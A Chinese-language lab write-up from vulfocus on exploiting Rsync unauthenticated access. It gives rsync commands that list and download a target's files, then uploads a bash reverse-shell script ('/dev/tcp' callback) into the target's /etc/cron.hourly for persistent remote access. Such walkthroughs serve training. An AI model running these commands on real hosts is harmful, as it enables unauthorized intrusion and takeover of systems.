Rsync未授权访问-vulfocus

1.原理

Rsync是linux上文件传输的协议，如果有返回直接可以看到，部分主机使用协议的时候不会加密码，就容易造成未授权访问漏洞

2.复现

打开vulfocus.io,搜索rsync关键字，打开环境
在自己的主机上去连接远程服务器：
rsync rsync://123.58.224.8:33546/
利用rsync去连接目的ip地址的对应端口

返回src或者其他文件名字+path就存在使用了这个协议
登入src连接发现没有设置密码
rsync rsync://123.58.224.8:33546/src
我们直接查找要填入的flag
rsync rsync://123.58.224.8:33546/src/tmp/f*

直接交了就行

3.反弹shell

当然我们不想只要得到信息，我们要争取可以拿到这台主机的权限，这时候我们需要反弹shell，让我们可以登入

3.1 linux计时任务

Linux crontab是用来定期执行程序的命令。
当安装完成操作系统之后，默认便会启动此任务调度命令。
crond 命令每分锺会定期检查是否有要执行的工作，如果有要执行的工作便会自动执行该工作。
存放crontab周期性计划任务的文件：/var/spool/cron/用户名（按用户分类）
cron服务的日志文件（记录创建、查看、执行文件）：/var/log/cron
crontab服务的配置文件：**/etc/crontab**
注意：新创建的 cron 任务，不会马上执行，至少要过 2 分钟后才可以，当然你可以重启 cron 来马上执行。
而 linux 任务调度的工作主要分为以下两类：
1、系统执行的工作：系统周期性所要执行的工作，如备份系统数据、清理缓存
2、个人执行的工作：某个用户定期要做的工作，例如每隔10分钟检查邮件服务器是否有新信，这些工作可由每个用户自行设置

3.2 复现

下载文件：rsync rsync://123.58.224.8:22101/src/etc/crontab /root/cron.txt（你的主机上对应位置保存）

我们的目标就是第一个，17分钟执行一次的这个
写一个shell到这个文件之后等待监听就可以了
shell：/bin/bash -i >& /dev/tcp/自己的ip/对应端口 0>&1
创建文件：touch shell
写入shell：vim shell
加上权限：chmod 777 shell
提交到远程主机：rsync -av /root/shell rsync://123.58.224.8:50461/src/etc/cron.hourly